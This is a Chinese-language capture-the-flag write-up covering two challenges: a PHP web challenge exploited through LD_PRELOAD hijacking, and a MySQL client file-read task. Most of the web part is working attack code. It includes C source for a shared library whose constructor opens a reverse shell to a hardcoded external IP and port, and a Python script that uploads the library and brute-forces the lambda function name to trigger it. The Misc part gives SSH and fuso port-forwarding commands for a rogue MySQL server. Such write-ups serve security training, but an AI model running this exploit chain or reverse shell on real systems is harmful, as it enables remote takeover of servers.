Web
givenphp
考点:LD_LOAD环镜变量劫持
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}
if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}
对直接注入环镜变量进行过滤
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
存在文件上传点 考虑上传恶意so文件劫持Ld_PROLOAD环镜变量
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
system("");
}
gcc -shared -fPIC ld.c -o ld.so
sh 好像没有正常工作
这个错误消息表示bash试图通过`fork`系统调用创建一个新的进程,但是系统资源暂时不可用。这通常是因为达到了某种系统限制,比如打开文件的数量限制(ulimit -n)、进程数量限制(ulimit -u)或者内存不足
考虑直接用c底层实现反弹shell(任意执行c代码) 可以的
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "148.135.82.190"
#define REMOTE_PORT 8888
__attribute__((__constructor__)) void preload(void)
{
unsetenv("LD_PRELOAD");
system("id");
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
}
利用poc
import requests
url='http://23.94.38.86:9780/'
data={"upload":"true"}
file={"file":open("ld.so","rb")}
res_upload=requests.post(url,data=data,files=file)
upload_file_path=res_upload.text.split('>')[-1]
print("upload_file path:"+res_upload.text.split('>')[-1]) #拿上传文件的位置
for i in range(1,100):
params={
"challenge":"true",
"key":"LD_PRELOAD",
"value":upload_file_path,
"guess":f"\x00lambda_{i}",
}
print(f"**Hacking lambda_{i}")
res_commond=requests.get(url,params=params)
if "uid" in res_commond.text:
print(res_commond.text)
print("Success exec command!")
break
有问题直接重启环镜
Misc
OnlyLocalSql
法一:不出网 ssh端口转发
ssh -p 9020 ctf@23.94.38.86 -L *:7300:127.0.0.1:80 -R 33070:127.0.0.1:33060
法二:出网 fuso做流量转发 访问本地端口 33060 端口转发到 公网服务端口
./fus
./fuc 127.0.0.1 --forward-host 148.135.82.190 --forward-port 33070 -b 33060
构造Mysql伪服务器 读取客户端任意文件
执行任意sql语句即可 开始读取